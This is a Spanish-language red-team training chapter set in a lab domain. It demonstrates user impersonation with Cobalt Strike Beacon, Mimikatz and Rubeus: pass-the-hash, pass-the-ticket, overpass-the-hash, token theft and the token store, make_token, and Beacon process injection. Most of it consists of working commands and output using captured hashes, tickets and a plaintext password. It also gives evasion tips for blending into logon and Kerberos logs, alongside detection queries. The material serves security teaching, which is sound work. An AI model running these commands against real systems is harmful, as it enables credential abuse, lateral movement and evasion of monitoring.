User Impersonation
User Impersonation
Sabemos por nuestro reconocimiento de dominio que jking es un administrador local en múltiples computadoras gracias a su membresía en el grupo de dominio Support Engineers. También tenemos material de credenciales para este usuario en forma de un NTLM hash, AES256 hash y un Kerberos TGT.
Este capítulo demostrará diferentes técnicas en las que podemos aprovechar estas credenciales y utilizarlas para acceder a una de las computadoras objetivo. También existen varias técnicas donde no necesitamos material de credenciales directamente, pero aprovechamos procesos que el usuario está ejecutando en una máquina donde tenemos acceso elevado.
Info
Una manera común de probar el acceso a una máquina es listar la unidad C, ya que esto requiere privilegios de administrador local para acceder.
Pass the Hash
Pass the hash es una técnica que te permite autenticarte en un servicio de Windows utilizando el NTLM hash de la contraseña de un usuario. Funciona iniciando una nueva sesión de inicio de sesión con una identidad falsa y luego reemplazando la información de sesión con el dominio, nombre de usuario y NTLM hash proporcionado.
Beacon tiene un comando dedicado llamado pth que ejecuta Mimikatz en segundo plano.
Este comando requiere privilegios elevados.
Primero, intenta listar el recurso compartido C$ de la máquina WEB; esto fallará porque bfarmer no es un administrador local allí.
beacon> getuid
[*] You are DEV\bfarmer (admin)
beacon> ls \\web.dev.cyberbotic.io\c$
[-] could not open \\web.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED
Luego ejecuta el comando pth con el nombre de usuario de jking y el NTLM hash.
beacon> pth DEV\jking 59fc0f884922b4ce376051134c71e22c
user : jking
domain : DEV
program : C:\Windows\system32\cmd.exe /c echo 71fb38e2d65 > \\.\pipe\675b08
impers. : no
NTLM : 59fc0f884922b4ce376051134c71e22c
| PID 1932
| TID 6600
| LSA Process is now R/W
| LUID 0 ; 7479840 (00000000:00722220)
\_ msv1_0 - data copy @ 000001F6344B3D20 : OK !
\_ kerberos - data copy @ 000001F6345BD7C8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 000001F6344C6128 (32) -> null
Podemos ver que el comando Mimikatz ejecuta y pasa las nuevas credenciales a través de un named pipe, que Beacon luego imita automáticamente. Después, podemos intentar listar el recurso compartido C$ nuevamente, lo cual tendrá éxito.
beacon> ls \\web.dev.cyberbotic.io\c$
[*] Listing: \\web.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 18:50:13 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 08/15/2022 18:58:09 inetpub
dir 05/08/2021 08:20:24 PerfLogs
dir 08/24/2022 11:02:25 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 08/31/2022 17:40:32 ProgramData
dir 08/15/2022 18:31:08 Recovery
dir 08/30/2022 11:16:24 System Volume Information
dir 08/30/2022 17:51:08 Users
dir 08/30/2022 20:19:27 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/01/2022 07:26:41 DumpStack.log.tmp
384mb fil 09/01/2022 07:26:41 pagefile.sys
Para "soltar" la suplantación posteriormente, utiliza el comando rev2self.
beacon> rev2self
[*] Tasked beacon to revert token
beacon> ls \\web.dev.cyberbotic.io\c$
[-] could not open \\web.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED
OPSEC
Dos oportunidades para detectar PTH son el manejador R/W a LSASS; y buscar el patrón echo foo > \\.\pipe\bar en los registros de línea de comandos.
El primero ya es parte de la búsqueda guardada "Suspicious Handle to LSASS". Esta vez vemos una máscara de acceso de 0x1038. Esta es una combinación de PROCESS_QUERY_LIMITED_INFORMATION (0x1000), PROCESS_VM_WRITE (0x0020), PROCESS_VM_READ (0x0010) y PROCESS_VM_OPERATION (0x0008).
El segundo puede encontrarse mediante la búsqueda "Suspicious Named Pipe Impersonation", que consulta eventos de proceso donde los argumentos contienen "echo", ">" y "\.\pipe\".
Pass the Ticket
Pass the ticket es una técnica que te permite agregar tickets Kerberos a una sesión de inicio de sesión existente (LUID) a la que tengas acceso, o a una nueva que crees. Acceder a un recurso remoto permitirá que esa autenticación se realice a través de Kerberos.
Para esto, podemos aprovechar el TGT que extrajimos de la sesión de inicio de sesión de jking en Workstation 2.
El primer paso es crear una sesión de inicio de sesión en blanco, "sacrificial", en la que podamos pasar el TGT. Hacemos esto porque una sesión de inicio de sesión solo puede contener un TGT a la vez. Si pasáramos el TGT de jking al LUID de bfarmer, sobrescribiría el TGT de bfarmer y causaría todo tipo de problemas de autenticación para el usuario.
Crear una nueva sesión de inicio de sesión y pasar tickets a sesiones que no sean las tuyas requiere privilegios elevados.
El comando createnetonly de Rubeus iniciará un nuevo proceso oculto de nuestra elección, usando la API CreateProcessWithLogonW.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
[*] Action: Create Process (/netonly)
[*] Using random username and password.
[*] Showing process : False
[*] Username : GJB9A2GP
[*] Domain : VPY1XQRP
[*] Password : R4ABN1K3
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4748
[+] LUID : 0x798c2c
Esto también crea un nuevo LUID. No tendrá tickets dentro, por lo que aún no será visible con triage. El siguiente paso es pasar el TGT a este nuevo LUID usando el comando ptt de Rubeus. Donde el /luid es el nuevo LUID que acabamos de crear y /ticket es el ticket codificado en base64 que extrajimos anteriormente.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP
[*] Action: Import Ticket
[*] Target LUID: 0x798c2c
[+] Ticket successfully imported!
Rubeus triage ahora mostrará el TGT de jking dentro de este LUID.
| 0x798c2c | jking @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 5:29:20 PM |
El paso final es suplantar el proceso que creamos con createnetonly usando el comando steal_token de Cobalt Strike. Como mínimo, esto requiere el PID del proceso objetivo, que en este ejemplo es 4748. Luego podremos acceder a la máquina remota.
beacon> steal_token 4748
beacon> ls \\web.dev.cyberbotic.io\c$
[*] Listing: \\web.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 18:50:13 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 08/15/2022 18:58:09 inetpub
dir 05/08/2021 08:20:24 PerfLogs
dir 08/24/2022 11:02:25 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 08/31/2022 17:40:32 ProgramData
dir 08/15/2022 18:31:08 Recovery
dir 08/30/2022 11:16:24 System Volume Information
dir 08/30/2022 17:51:08 Users
dir 08/30/2022 20:19:27 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/01/2022 07:26:41 DumpStack.log.tmp
384mb fil 09/01/2022 07:26:41 pagefile.sys
Como antes, usa rev2self para abandonar la suplantación. Para destruir la sesión de inicio de sesión que creamos, simplemente mata el proceso con el comando kill.
beacon> rev2self
beacon> kill 4748
Rubeus triage ya no mostrará la sesión de inicio de sesión.
OPSEC
De forma predeterminada, Rubeus usará un nombre de usuario, dominio y contraseña aleatorios con CreateProcessWithLogonW, lo que aparecerá en el evento de inicio de sesión 4624 asociado. La búsqueda guardada "Suspicious Logon Events" mostrará los 4624 donde el TargetOutboundDomainName no sea un valor esperado.
Podemos proporcionar estas opciones en la línea de comandos para hacer que los campos parezcan menos anómalos. La contraseña no tiene que ser la contraseña real del usuario.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123
Overpass the Hash
Overpass the hash es una técnica que nos permite solicitar un TGT de Kerberos para un usuario, utilizando su hash NTLM o AES. Se requieren privilegios elevados para obtener los hashes de los usuarios, pero no para solicitar el ticket.
Rubeus asktgt nos cubre para esta tarea.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 59fc0f884922b4ce376051134c71e22c
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\jking'
[*] Using domain controller: 10.10.122.10:88
[09/01 10:24:04] [+] received output:
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmj [...snip...] 5pbw==
ServiceName : krbtgt/dev.cyberbotic.io
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : jking
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/1/2022 2:23:59 PM
EndTime : 9/2/2022 12:23:59 AM
RenewTill : 9/8/2022 2:23:59 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : NytFQCt4OMyeF+BjfPSrbw==
ASREP (key) : 59FC0F884922B4CE376051134C71E22C
Este TGT luego puede ser aprovechado mediante Pass the Ticket.
OPSEC
Usar un hash NTLM resulta en un ticket cifrado usando RC4 (0x17). Este es considerado un tipo de cifrado heredado y, por lo tanto, a menudo resalta como anómalo en un entorno moderno de Windows. La búsqueda guardada "RC4 TGTs" mostrará todos los eventos 4768 donde el tipo de cifrado del ticket es 0x17. Es muy probable que el único resultado allí sea el generado a partir del comando anterior.
Para obtener un TGT cifrado usando AES256 (0x12), como adivinaste, usa el hash AES256 del usuario en su lugar.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: 4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\jking'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFuj [...snip...] ljLmlv
ServiceName : krbtgt/dev.cyberbotic.io
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : jking
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/1/2022 2:54:36 PM
EndTime : 9/2/2022 12:54:36 AM
RenewTill : 9/8/2022 2:54:36 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : BBLSeA9nnaNeYIcHqf787V0m5Znz1ednGMXh9V9aorE=
ASREP (key) : 4A8A74DAAD837AE09E9ECC8C2F1B89F960188CB934DB6D4BBEBADE8318AE57C6
Puedes encontrar el evento 4768 correspondiente con esta consulta:
event.code: 4768 and winlog.event_data.TicketEncryptionType: 0x12 and winlog.event_data.TargetUserName: jking
Será prácticamente indistinguible de las otras solicitudes de TGT, con la excepción de dos campos:
- El Supplied Realm Name será dev.cyberbotic.io, en lugar de DEV.
- Las Ticket Options serán 0x40800010 en lugar de 0x40810010.
El comando asktgt tiene dos parámetros opcionales que podemos usar para mezclarnos un poco más.
Si no se especifica /domain, Rubeus usa el FQDN del dominio en el que está esta computadora. En su lugar, podemos forzarlo a usar el nombre NetBIOS con /domain:DEV. También hay una bandera /opsec que le dice a Rubeus que solicite el TGT de tal manera que las Ticket Options sean 0x40810010.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /domain:DEV /opsec /nowrap
More OPSEC
Mimikatz también puede realizar overpass the hash, pero de una manera que escribe en LSASS. El método de Rubeus no toca LSASS pero genera tráfico de Kerberos desde un proceso anómalo, ya que esto usualmente solo ocurre desde LSASS. Estos pueden ser vistos usando la búsqueda guardada "Kerberos Traffic from Suspicious Process".
La conclusión es que tienes que "elegir tu veneno".
Token Impersonation
Ya hemos visto un ejemplo de usar el comando steal_token de Cobalt Strike en el contexto de pass the ticket. Sin embargo, si elevamos privilegios o llegamos a un sistema donde un usuario está ejecutando un proceso, podemos suplantar su token sin tener que pasar por pasos adicionales.
Si listamos los procesos en ejecución en Workstation 2 desde un prompt elevado, vemos que jking está ejecutando una instancia de mmc.exe.
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
5536 1020 mmc.exe x64 0 DEV\jking
Podemos simplemente robar su token y acceder a un objetivo.
beacon> steal_token 5536
beacon> ls \\web.dev.cyberbotic.io\c$
[*] Listing: \\web.dev.cyberbotic.io\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 18:50:13 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 08/15/2022 18:58:09 inetpub
dir 05/08/2021 08:20:24 PerfLogs
dir 08/24/2022 11:02:25 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 08/31/2022 17:40:32 ProgramData
dir 08/15/2022 18:31:08 Recovery
dir 08/30/2022 11:16:24 System Volume Information
dir 08/30/2022 17:51:08 Users
dir 08/30/2022 20:19:27 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/01/2022 07:26:41 DumpStack.log.tmp
384mb fil 09/01/2022 07:26:41 pagefile.sys
Esta técnica funciona obteniendo un handle al proceso objetivo, abriendo y duplicando su token de acceso primario, y luego suplantando ese token. La desventaja es que si el usuario cierra el proceso, nuestra capacidad de abusarlo desaparece. Al tomar los pasos adicionales de extraer tickets o hashes, nos proporcionamos una manera más garantizada o "a prueba de futuro" de aprovechar el material de credenciales.
Al suplantar usuarios de esta manera, el cliente de CS (desde la versión 4.8) actualiza varios elementos de la interfaz para ayudarte a llevar un registro de a quién (si es que alguien) tu Beacon está suplantando actualmente.
Token Store
Cobalt Strike 4.8 introdujo un nuevo conjunto de comandos llamado token-store. Esta es una evolución del comando steal_token que permite robar y almacenar tokens para uso futuro. Por ejemplo, roba un token y agrégalo al token store con token-store steal <pid>.
beacon> token-store steal 5536
[*] Stored Tokens
ID PID User
-- --- ----
0 5536 DEV\jking
Puedes listar todos los tokens en el almacén con token-store show e impersonar uno usando token-store use <id>.
beacon> token-store use 0
[+] Impersonated DEV\jking
El comando rev2self eliminará el token de suplantación, pero permanecerá en el almacén para que pueda ser suplantado nuevamente. Un token puede eliminarse del almacén usando token-store remove <id> o se puede vaciar todo el almacén con token-store remove-all.
Las principales ventajas del token store son dos. La primera es que no tenemos que llevar a cabo el proceso de robo varias veces, lo cual es mejor para OPSEC. Dado que robar un token requiere abrir un handle al proceso objetivo y al token del proceso, cuantas menos veces hagas esto, mejor. La segunda ventaja es que mantener un handle abierto al token duplicado evita que Windows elimine la sesión de inicio de sesión del usuario si cierra sesión o termina el proceso del cual robamos.
Es importante tener en cuenta que cada Beacon tiene su propio token store. No puedes transferir tokens de un Beacon a otro, incluso si están en el mismo host.
Make Token
El comando make_token te permite impersonar a un usuario si conoces su contraseña en texto plano. Esto funciona en segundo plano llamando a la API LogonUserA, que toma varios parámetros, incluyendo un nombre de usuario, contraseña, nombre de dominio y tipo de inicio de sesión. En este caso, se utiliza el tipo de inicio de sesión LOGON32_LOGON_NEW_CREDENTIALS, que permite al llamante clonar su token actual y especificar nuevas credenciales para conexiones de red salientes.
La API genera un handle para un token que luego puede pasarse a la API ImpersonateLoggedOnUser. Esto permite que el hilo que llama impersonifique el contexto del token (es decir, el contexto del usuario suplantado).
beacon> make_token DEV\jking Qwerty123
[+] Impersonated DEV\jking (netonly)
La sesión de inicio creada con LogonUserA tiene el mismo identificador local que el llamante, pero se utilizan las credenciales alternativas al acceder a un recurso remoto.
beacon> remote-exec winrm web.dev.cyberbotic.io whoami
dev\jking
Esto también significa que make_token no es aplicable a nada que desees ejecutar en la máquina actual. Para eso, spawnas puede ser una mejor solución.
Estos eventos de inicio de sesión pueden encontrarse en Kibana con la siguiente consulta:
event.code: 4624 AND winlog.event_data.LogonType: 9
Donde 4624 es el Event ID "An account was successfully logged on" y LogonType 9 es LOGON32_LOGON_NEW_CREDENTIALS. Los eventos mostrarán quién fue el llamante, qué usuario suplantaron, el nombre del proceso que llamó, el ID y más.
Una desventaja desafortunada para detectar esta técnica es que runas /netonly se comporta de la misma manera. Por lo tanto, puede ser difícil distinguir entre eventos legítimos y maliciosos.
Process Injection
La inyección de procesos nos permite inyectar shellcode arbitrario en un proceso de nuestra elección. Solo puedes inyectar en procesos a los que puedas obtener un handle con suficientes privilegios para escribir en su memoria. En un contexto no elevado, esto generalmente te limita a tus propios procesos. En un contexto elevado, esto incluye procesos pertenecientes a otros usuarios.
Beacon tiene dos comandos principales de inyección: shinject e inject. shinject permite inyectar cualquier shellcode arbitrario desde un archivo binario en tu máquina atacante; e inject inyectará una carga útil completa de Beacon para el listener especificado.
Si quisiéramos inyectar una carga útil de TCP Beacon en el proceso MMC mencionado en el módulo anterior, podríamos hacer:
beacon> inject 4464 x64 tcp-local
[*] Tasked beacon to inject windows/beacon_bind_tcp (127.0.0.1:4444) into 4464 (x64)
[+] established link to child beacon: 10.10.123.102
Donde:
- 4464 es el PID de destino.
- x64 es la arquitectura del proceso.
- tcp-local es el nombre del listener.
El comando también intentará automáticamente conectarse al proceso hijo si se utiliza un listener P2P. El Beacon resultante se ejecutará con el privilegio completo del usuario que posee el proceso.
Se aplican las mismas advertencias: si el usuario cierra este proceso, el Beacon se perderá. El shellcode que se inyecta utiliza la función Exit Thread, por lo que no matará el proceso si salimos del Beacon.





